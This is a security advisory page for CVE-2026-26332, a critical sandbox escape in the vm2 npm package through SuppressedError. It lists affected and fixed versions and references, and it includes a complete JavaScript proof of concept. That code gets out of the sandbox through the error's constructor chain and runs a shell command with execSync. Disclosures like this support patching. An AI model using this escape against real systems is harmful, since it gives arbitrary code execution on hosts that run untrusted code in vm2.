CriticalGHSA-55hx-c926-fr95CVE-2026-26332
VM2 Has a Sandbox Escape Issue via SuppressedError
Published 5 May 2026 · Updated 5 May 2026
Affected package
vm2npm
- Affected
- <3.11.0
- Fixed in
- 3.11.0
Update to the fixed version for your release line, for example:
npm install vm2@3.11.0Details
In vm2 v3.10.4 on Node.js v24.13.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code.
PoC
const { VM } = require("vm2");
const vm = new VM();
vm.run(`
const ds = new DisposableStack();
ds.defer(() => { throw null; });
ds.defer(() => {
const e = Error();
e.name = Symbol();
e.stack;
});
try {
ds.dispose();
} catch(e) {
const Function = e.suppressed.constructor.constructor;
const process = new Function("return process;")();
const { execSync } = process.mainModule.require("node:child_process");
execSync("echo pwned", { stdio: "inherit" });
}
`);Is GHSA-55hx-c926-fr95 in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected vm2, and gives you the command that fixes it.
References
- Linkgithub.com/patriksimek/vm2/security/advisories/GHSA-55hx-c926-fr95
- Advisorynvd.nist.gov/vuln/detail/CVE-2026-26332
- Linkgithub.com/patriksimek/vm2/commit/119fd0aa1e4c27b08cf37946b2dafa99e2c754f0
- Linkgithub.com/patriksimek/vm2/commit/4cb82cc94d9bb6c9a918b45f8c6790c32a5e913f
- Linkgithub.com/patriksimek/vm2/commit/7395c3a4b01d302e55271c87dbeb44d6b83b81ca
- Linkgithub.com/patriksimek/vm2/commit/792e16d56ee429ab19e284ed9c545f5e4694fb7d
- Linkgithub.com/patriksimek/vm2/commit/d715dd88c5aec5bbb4dce03ddf7c3eb3791d0338
- Packagegithub.com/patriksimek/vm2
- Linkgithub.com/patriksimek/vm2/releases/tag/v3.11.0
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.